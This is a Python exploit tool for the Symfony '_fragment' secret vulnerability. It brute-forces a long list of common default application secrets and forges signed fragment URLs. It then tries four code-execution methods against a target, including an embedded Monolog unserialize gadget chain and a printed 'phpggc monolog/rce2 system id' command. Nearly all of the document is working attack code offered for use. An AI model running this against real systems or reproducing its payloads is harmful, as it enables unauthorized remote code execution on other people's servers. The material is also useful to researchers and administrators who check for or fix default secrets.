#!/usr/bin/env python3
# Symfony: Secret Fragment exploit
#
# cfreal 2023-06-26
#
# DETAILS
#
# https://www.ambionics.io/blog/symfony-secret-fragment
#
# This exploit is a V2 that provides clearer output, new code execution methods,
# and fixes a few bugs.
# You can now run arbitrary gadgets by piping PHPGGC.
#
# RUN
#
# Requires ten (https://github.com/cfreal/ten)
# $ pip install ten
#
# NOTES
#
# 1. UNIVERSAL METHOD
#
# The universal method (id 4) directly uses a callable (function) as the controller.
# Although universal - it works with every Symfony version - it comes with several
# limitations.
#
# 1.1. Arguments
#
# Arguments to the function must be specified with their name, which can be obtained, in
# most cases, from the documentation. However, depending on the PHP version, the name
# of some parameters can change. Take phpinfo() for instance. Its only parameter is
# `flags` (PHP 8), while it was `what` before (PHP 7.x). Your best bet is to call, from
# the same PHP version as on the target, ReflectionFunction::getParameters():
#
# $ php7.4 -r 'print_r((new ReflectionFunction("phpinfo"))->getParameters());'
# Array
# (
#     [0] => ReflectionParameter Object
#         (
#             [name] => what
#         )
# 
# )
#
# 1.2. Executing code
#
# In addition, you generally have to submit EVERY argument, including those with a
# default value. Due to the implementation, you cannot therefore call a function that
# requires an argument given by reference. This happens to be the case for the beloved
# system() function, whose second argument, `result_code`, is optional and ref'd.
# As a result, you CANNOT call system using the universal method. The same happens for
# exec(), passthru(), proc_open()...
#
# However, shell_exec() expects only a single argument, the command to execute. It has
# however a serious defect as it does not display the output of the command, but instead
# returns it. If your Symfony does not have verbose errors, you won't get the output.
#
# It is a shame not to have a quick way of getting output with such a powerful bug; as
# a result the universal method is left as the last "try" even though it allows to call
# methods with several arguments.
#
# A final node regarding shell_exec(). Its argument has been named `cmd` (up to PHP7)
# and is now named `command` (from PHP8).
#
# 2. Unserialize payload
#
# The methods that rely on deserialisation use a monolog gadget chain, as the package
# is almost always used with Symfony. If it does not work however, use `--phpggc` to
# make the exploit use another gadget chain.
#
# 3. Execution methods
#
#

from __future__ import annotations

from ten import *

from rich.rule import Rule
from rich.syntax import Syntax

from abc import ABC, abstractmethod
import hashlib
import hmac
import itertools
import sys
from dataclasses import dataclass


# List of well-known secrets

USUAL_SECRETS = [
    "ThisTokenIsNotSoSecretChangeIt",
    "ThisEzPlatformTokenIsNotSoSecret_PleaseChangeIt",
    "",
    "<app-secret-id>",
    "Wh4t3v3r",
    "test",
    "EDITME",
    "HeyIAmSecret",
    "super_secret",
    "!ChangeMe!",
    "xxxxxxxxxxxxxxxxx",
    "123123",
    "IAmNotSecret",
    "xxxxxxxaxaxaxa",
    "WhateverYouLikeTo",
    "YOUR_APP_SECRET",
    "some_new_secret_123",
    "${APP_SECRET}",
    "s$cretf0rt3st",
    "s3kr3t",
    "%env(resolve:APP_SECRET)%",
    "%secret%",
    "foobar123",
    "ClickToGenerate",
    "secretthings",
    "secret",
    "thesecret",
    "xxxxxxxxxx",
    "!NotSoSecretChangeMe!",
    "changeMeInDotEnvDotLocal",
    "{your-app-secret}",
    "thefamoussecretkeylol",
    "%env(APP_SECRET)%",
    "$ecretf0rt3st",
    "SuperSecretToken",
    "thisvariableissuddenlyneededhere",
    "klasjdfklajsdfkajsédfkjiewoji",
    "pasteYourSecretKeyHere",
    "asecretkey",
    "This is a secret, change me",
    "123456789",
    "123",
    "ThisIsNotReallySecretButOK",
    "5ub5upfxih0k8g44w00ogwc4swog4088o8444sssos8k888o8g",
    "Xjwr91jr~j3gV-d6w@2&oI)wFc5ZiL",
    "&lt;app-secret-id>",
    "ff6dc61a329dc96652bb092ec58981f7",
    "54de6f999a511111e232d9a5565782f1",
    "cc86c7ca937636d5ddf1b754beb22a10",
    "29f90564f9e472955211be8c5e05ee0a",
    "1313eb8ff3f07370fe1501a2fe57a7c7",
    "c78ebf740b9db52319c2c0a201923d62",
    "24e17c47430bd2044a61c131c1cf6990",
    "4fd436666d9d29dd0773348c9d4be05c",
    "d120bc9442daf50769276abd769df8e9",
    "17fe130b189469cd85de07822d362f56",
    "16b10f9d2e7885152d41ea6175886563a",
    "44705a2f4fc85d70df5403ac8c7649fd",
    "d6f9c4f8997e182557e0602aa11c68ca",
    "964f0359a5e14dd8395fe334867e9709",
    "31ab70e5aea4699ba61deddc8438d2f1",
    "9fc8286ff23942648814f85ee18381bc",
    "9258a6c0e5c19d0d58a8c48bbc757491",
    "2eb810c79fba0dd5c029a2fa53bfdb51",
    "81d300585b3dfdf6a3161e48d970e2baea252e42",
    "b92c43d084fa449351e0524bf60bf972",
    "24f508c1071242299426ae6af85d5309",
    "2a0f335581bd72b6077840e29d73ba36",
    "6eb99720adab08a18624be3388d9f850",
    "cf4d2c8e2757307d2c679b176e6d6070",
    "300d7b538e92e90197c3b5b2d2f8fa3f",
    "966536d311ddae0996d1ffd21efa1027",
    "00811410cc97286401bd64101121de999b",
    "307fbdc5fd538f6d733e8a2f773b6a39",
    "5ea3114a349591bd131296e00f21c20a",
    "13bb5de558715e730e972ab52626ab6a",
    "4d1f86e8d726abe792f9b65e1b60634c",
    "adc3f69b4b8262565f7abb9513de7f36",
    "f78d2a48cbd00d92acf418a47a0a5c3e",
    "8b3fdfaddad056c4ca759ffe81156eafb10f30fc",
    "43db4c69b1c581489f70c4512191e484",
    "8c6e5404e4f1e5934b5b2da46cadaef0",
    "1083dc7bfd20cc8c2bd10148631513ecf7",
    "d3e2fa9715287ba25b2d0fd41685ac031970f555",
    "6b566e17cf0965eb4db2fef5f41bae18",
    "859bdea01e182789f006e295b33275af",
    "bdb22a4d4f0ed0e35a97fed13f18646f",
    "8501eeca7890b89042ccae7318a44fb1",
    "dbd3856a5c7b24c92263323e797ec91c",
    "bca0540d761fb1055893195ad87acf07",
    "bf05fa89ece928e6d1ecec0c38a008ee",
    "97829395eda62d81f37980176ded371a",
    "879a6adeceeccbdc835a19f7e3aad7e8",
    "f96c2d666ace1278ec4c9e2304381bc3",
    "7d41a4acde33432b1d51eae15a301550",
    "236cd9304bb88b11e2bb4d56108dffa8",
    "8cfa2bd0b50b7db00e9c186be68f7ce7465123d3",
    "dd4aaa68cebc5f632a489bfa522a0adc",
    "3d05afda019ed4e3faaf936e3ce393ba",
    "a3aeede1199a907af36438508bb59cb8",
    "gPguz9ImBhOIRCntIJPwbqbFJTZjqSHaq8AkTk2pdoHYw35rYRs9VHX0",
    "367d9a07f619290b5cae0ab961e4ab94",
    "32bb1968190362d214325d23756ffd65",
    "4f113cda46d1808807ee7e263da59a47",
    "67d829bf61dc5f87a73fd814e2c9f629",
    "cbe614ba25712be13e5ec4b651f61b06",
    "8d2a5c935d8ef1c0e2b751147382bc75",
    "fe2ed475a06588e021724adc11f52849",
    "b2baa331595d5773b63d2575d568be73",
]


@entry
@arg("url", "Target URL")
@arg("internal_url", "URL used to compute the hash")
@arg("secret", "Symfony secret key. If not provided, will try to find it.")
@arg("hash", "Hash algorithm (sha1/sha256). If not provided, will try to find it.")
@arg(
    "method",
    """\
Code execution method.
[1] Universal: function call
[2] Symfony 4+: function call via `ErrorHandler::call`
[3] Symfony 3+: deserialisation via `!php/object `
[4] Symfony 2+: deserialisation via `!!php/object:`
""",
)
@arg("function", "PHP function to call")
@arg(
    "arguments",
    "PHP function arguments in the form 'name1:value1' 'name2:value2' for method 1, or 'arg1' for others",
)
@arg(
    "phpggc",
    "Instead of calling a function, deserialize the given GC from PHPGGC. The GC must be piped from stdin.",
)
@arg(
    "ignore_original_status",
    "Ignore the original status code, instead of requiring 403 (default: false)",
)
@arg("proxy", "Proxy to use (default: no proxy)")
@dataclass
class Exploit:
    """Exploits the Symfony secret fragment vulnerability.

    The exploit will try and automatically detect missing arguments, such as the secret key,
    hash algorithm, and internal URL. Each can also be specified in the command line.

    In case it succeeds in setting up these arguments, it will look for a code execution method.
    Once done, it'll provide command lines to run arbitrary functions and PHPGGC GCs.

    If you detected /_fragment (403) but don't have any knowledge of the key, hash algorithm,
    etc., run as raw:

        ./symfony-secret-fragments.py http://target.com/_fragment

    If you know the key, specify it:

        ./symfony-secret-fragments.py http://target.com/_fragment -s CustomSecretKey

    Once a working code execution method has been identified, you can call a PHP function
    or deserialize a gadget chain. The script will provide the CLI arguments to make this happen.

    If an execution method and its arguments are specified (--method, --function or --phpggc),
    the script will generate a valid URL and display it. This URL will NOT be requested.
    """

    PHPINFO_MARKER = """phpinfo()</title>"""

    url: str
    internal_url: str = None
    algo: str = None
    method: int = None
    secret: str = None
    function: str = None
    arguments: list[str] = None
    ignore_original_status: bool = False
    verbose: bool = False
    proxy: str = None
    phpggc: bool = False

    def load_exploit_methods(self):
        methods = [
            UniversalExploitMethod,
            Symfony4ExploitMethod,
            Symfony3ExploitMethod,
            Symfony2ExploitMethod,
        ]
        methods = [Method(self) for Method in methods]
        self.exploit_methods = {method.id: method for method in methods}

    def run(self):
        self.load_exploit_methods()

        if self.phpggc:
            assume(
                not (self.function or self.arguments),
                "--phpggc and --function are mutually exclusive",
            )
            self.gc = sys.stdin.buffer.read()
        else:
            self.gc = None

        self.session = ScopedSession(self.url)
        self.session.proxies = self.proxy

        # Get key, algo, internal URL

        self.section("Setup", style="black")

        assume(
            self.algo in [None, "sha1", "sha256"],
            "Algorithm should be one of (sha1, sha256)",
        )
        assume(
            self.method is None or self.method in self.exploit_methods,
            f"Method should be one of {tuple(self.exploit_methods)}",
        )

        self.health_check()
        self.bruteforce_variables()

        # At this point we have the key, algo, and the internal URL. We need to
        # find a code execution method that works

        if self.method is None:
            self.find_method()
        else:
            self.display_method_url()

    def display_method_url(self) -> None:
        self.section("Exploit URL", style="black")

        if self.gc is None:
            assume(self.function, "Provide a PHP function to execute")
        arguments = self.arguments or []
        method: ExploitMethod = self.exploit_methods[self.method]

        if not method.supports_phpggc and self.gc is not None:
            failure(f"Method {self.method} does not support `--phpggc`")

        url = method.generate_url(self.function, arguments, self.gc)
        print(url)
        msg_print("")

    def get_signed_url(self, controller: str, arguments: dict[str, str]) -> str:
        return self.build_url_with_hash(
            self.internal_url,
            self.secret,
            self.algo,
            _controller=controller,
            **arguments,
        )

    def _display_success(self, method: ExploitMethod, url: str) -> None:
        self.section(f"[b]{method.name}[/b]", style="green")
        msg_print(method.description.strip())
        self.section("PHPinfo URL")
        print(url)

        # We display one "standard" exploit command line with PHPinfo, and another with
        # PHPGGC.

        base_command = [
            sys.argv[0],
            shell.escape(self.url),
            "--secret",
            shell.escape(self.secret),
            "--algo",
            self.algo,
            "--internal-url",
            shell.escape(self.internal_url),
            "--method",
            str(method.id),
        ]
        base_command = " ".join(base_command)

        args = [
            "--function",
            "phpinfo",
        ]
        arguments = method.get_phpinfo_arguments()
        if arguments:
            args += ["--arguments"] + [shell.escape(arg) for arg in arguments]

        args = " ".join(args)
        self.section("Command: function call", "red")
        msg_print(Syntax(f"{base_command} {args}", "bash", word_wrap=True))
        msg_print("")

        if method.supports_phpggc:
            self.section("Command: PHPGGC", "red", False)
            msg_print(
                Syntax(
                    f"phpggc monolog/rce2 system id | {base_command} --phpggc",
                    "bash",
                    word_wrap=True,
                )
            )
            msg_print("")

    def section(self, title: str, style: str = "blue", up: bool = True) -> None:
        if up:
            msg_print()
        msg_print(Rule(title, style=style))
        msg_print()

    @inform("Looking for an execution method...")
    def find_method(self) -> None:
        msg_info("Looking for code execution method")
        msg_print()
        
        successful = []
        
        if self.method:
            return

        for method in self.exploit_methods.values():
            method: ExploitMethod
            args = method.get_phpinfo_arguments()
            url = method.generate_url("phpinfo", args, gc=None)

            response = self.session.get(url)

            if response.contains(self.PHPINFO_MARKER):
                msg_success(f"Method {method.id} ([i]{method.name}[/i]) worked !")
                successful.append((method, url))
            else:
                msg_failure(f"Method {method.id} ([i]{method.name}[/i]) failed !")
                
                
        msg_print()
        
        if not successful:
            msg_failure("Unable to execute code.")
            return False
        
        msg_success(f"Displaying information for the {len(successful)} working methods.")
        
        for method, url in successful:
            self._display_success(method, url)
            
        msg_print()
        
        return True

    def health_check(self) -> None:
        if not self.method and not self.ignore_original_status:
            response = self.session.get("")

            if not response.code(403):
                failure(
                    "The URL did not return 403, "
                    f"but {response.status_code}\n"
                    "Restart with --ignore-original-status to force."
                )
            msg_success("The URL returned 403, continuing.")

    def bruteforce_variables(self) -> None:
        mutations = self.generate_mutations()

        if len(mutations) > 1:
            msg_info("Trying to find secret, internal URL, and hash algorithm")
            for secret, algo, internal_url in track(
                mutations, "Trying mutations", transient=True
            ):
                url = self.build_url_with_hash(internal_url, secret, algo)
                response = self.session.get(url)

                if not response.code(403):
                    msg_print(
                        f"[green]  (OK) {algo} {secret} {internal_url} {url} ({response.status_code})"
                    )
                    self.algo = algo
                    self.secret = secret
                    self.internal_url = internal_url

                    msg_success("Setup done")
                    return

                if self.verbose:
                    msg_print(
                        f"[red]  (KO) {algo} {secret} {internal_url} {url} ({response.status_code})"
                    )

            failure(
                "Unable to find a valid mutation. Maybe the secret is not default, or the internal URL is not standard."
            )
        else:
            msg_info("No setup required")

    def build_url_with_hash(
        self, internal_url: str, secret: str, algo: str, **infos
    ) -> str:
        infos = qs.encode(qs.unparse(infos))
        query_string = f"?_path={infos}"
        to_sign = f"{internal_url}{query_string}"
        hash = self.compute_hmac(secret, to_sign, algo)
        quoted_hash = qs.encode(hash).replace("/", "%2F")
        return f"{self.url}{query_string}&_hash={quoted_hash}"

    def compute_hmac(self, secret, data, algo) -> str:
        algo = getattr(hashlib, algo)
        token = hmac.new(secret.encode(), data.encode(), algo).digest()
        return base64.encode(token)

    def generate_mutations(self):
        if self.internal_url:
            internal_urls = [self.internal_url]
        elif self.url.startswith("https://"):
            internal_urls = [self.url, self.url.replace("https://", "http://")]
        else:
            internal_urls = [self.url, self.url.replace("http://", "https://")]

        secrets = self.secret is not None and [self.secret] or USUAL_SECRETS

        algos = ["sha256", "sha1"] if not self.algo else [self.algo]

        return list(itertools.product(secrets, algos, internal_urls))


class ExploitMethod(ABC):
    id: int
    name: str
    exploit: Exploit
    supports_phpggc: bool = True
    description: str

    def __init__(self, exploit: Exploit):
        self.exploit = exploit

    @abstractmethod
    def get_phpinfo_arguments(self) -> list[str]:
        """List of expected CLI arguments for phpinfo()."""

    @abstractmethod
    def generate_url(self, function: str, arguments: list[str], gc: bytes) -> str:
        """Returns an URL from given function and arguments, or gadget chain."""

    def _get_signed_url(self, controller: str, arguments: dict[str, str]) -> str:
        return self.exploit.get_signed_url(controller, arguments)


class UniversalExploitMethod(ExploitMethod):
    id: str = 1
    name: str = "Universal"
    supports_phpggc: bool = False
    description: str = """\
Uses the function directly as a controller. Allows to call functions with several arguments.
"""

    def get_phpinfo_arguments(self) -> list[str]:
        """List of expected CLI arguments for phpinfo()."""
        return ["what:-1"]

    def generate_url(self, function: str, arguments: list[str], gc: bytes) -> str:
        """Returns an URL from given function and arguments."""
        assume(gc is None)

        for arg in arguments:
            assume(
                ":" in arg,
                f"Method {self.id} requires arguments of the form: `name:value`, [i]e.g.[/i] `--arguments name1:value1 name2:value2",
            )
        arguments = dict(arg.split(":", 1) for arg in arguments)

        return self._get_signed_url(function, arguments)


class Symfony4ExploitMethod(ExploitMethod):
    id: str = 2
    name: str = "Symfony 4+"
    description: str = """\
Uses [i]ErrorHandler::call()[/i] to call a function with an arbitrary number of arguments.
"""

    def get_phpinfo_arguments(self) -> list[str]:
        return ["-1"]

    def generate_url(self, function: str, arguments: list[str], gc: bytes) -> str:
        """Returns an URL from given function and arguments."""
        if gc:
            function = "unserialize"
            arguments = [gc]
        else:
            assume(arguments, f"Method {self.id} requires at least one argument")
        arguments = {"function": function} | {
            f"arguments[{i}]": arg for i, arg in enumerate(arguments)
        }
        return self._get_signed_url(
            r"Symfony\Component\ErrorHandler\ErrorHandler::call", arguments
        )


class UnserializeExploitMethod(ExploitMethod):
    prefix: str

    def get_phpinfo_arguments(self) -> list[str]:
        return ["-1"]

    def generate_url(self, function: str, arguments: list[str], gc: bytes) -> str:
        if gc is None:
            assume(
                len(arguments) == 1,
                f"Method {self.id} requires a single argument, e.g. `--arguments 'id'`",
            )

            def serialized_scalar(s):
                if isinstance(s, str):
                    return f's:{len(s)}:"{s}";'
                return f"i:{s};"

            argument = arguments[0]

            # Try casting the argument to an integer in case of strict_types and PHPinfo.
            if function == "phpinfo":
                try:
                    argument = int(argument)
                except ValueError:
                    pass

            # phpggc monolog/rce1 -- phpinfo -1
            payload = (
                r'O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"%00*%00socket";O:29'
                r':"Monolog\Handler\BufferHandler":7:{s:10:"%00*%00handler";O:29:"Mon'
                r'olog\Handler\BufferHandler":7:{s:10:"%00*%00handler";N;s:13:"%00*'
                r'%00bufferSize";i:-1;s:9:"%00*%00buffer";a:1:{i:0;a:2:{i:0;s'
                r':2:"-1";s:5:"level";N;}}s:8:"%00*%00level";N;s:14:"%00*%00i'
                r'nitialized";b:1;s:14:"%00*%00bufferLimit";i:-1;s:13:"%00*%00p'
                r'rocessors";a:2:{i:0;s:7:"current";i:1;[FUNCTION]'
                r'}}s:13:"%00*%00bufferSize";i:-1;s:9:"%00*%00buffer";a:1:{i:0;'
                r'a:2:{i:0;[ARGUMENT]s:5:"level";N;}}s:8:"%00*%00level'
                r'";N;s:14:"%00*%00initialized";b:1;s:14:"%00*%00bufferLimit";'
                r'i:-1;s:13:"%00*%00processors";a:2:{i:0;s:7:"current";i:1;'
                r"[FUNCTION]}}}"
            )
            payload = "a:1:{i:1;a:2:{i:0;%si:0;i:0;}}" % payload
            payload = payload.replace("%00", "\x00")
            payload = payload.replace("[FUNCTION]", serialized_scalar(function))
            payload = payload.replace("[ARGUMENT]", serialized_scalar(argument))
            gc = payload.encode()

        arguments = {
            "value": self.prefix.encode() + gc,
            "exceptionOnInvalidType": "0",
            "objectSupport": "1",
            "objectForMap": "0",
            "flags": "16777215",
            "references": "1",
        }
        return self._get_signed_url(r"Symfony\Component\Yaml\Inline::parse", arguments)


class Symfony3ExploitMethod(UnserializeExploitMethod):
    id: int = 3
    name: str = "Symfony 3+"
    prefix: str = "!php/object "
    description: str = """\
Uses [i]Yaml\\Inline::parse()[/i] to deserialize an arbitrary gadget chain.
Uses the [i]!php/object [/i] to indicate a serialized object.
"""


class Symfony2ExploitMethod(UnserializeExploitMethod):
    id: int = 4
    name: str = "Symfony 2+"
    prefix: str = "!!php/object:"
    description: str = """\
Uses [i]Yaml\\Inline::parse()[/i] to deserialize an arbitrary gadget chain.
Uses the [i]!!php/object:[/i] to indicate a serialized object.
"""


Exploit()
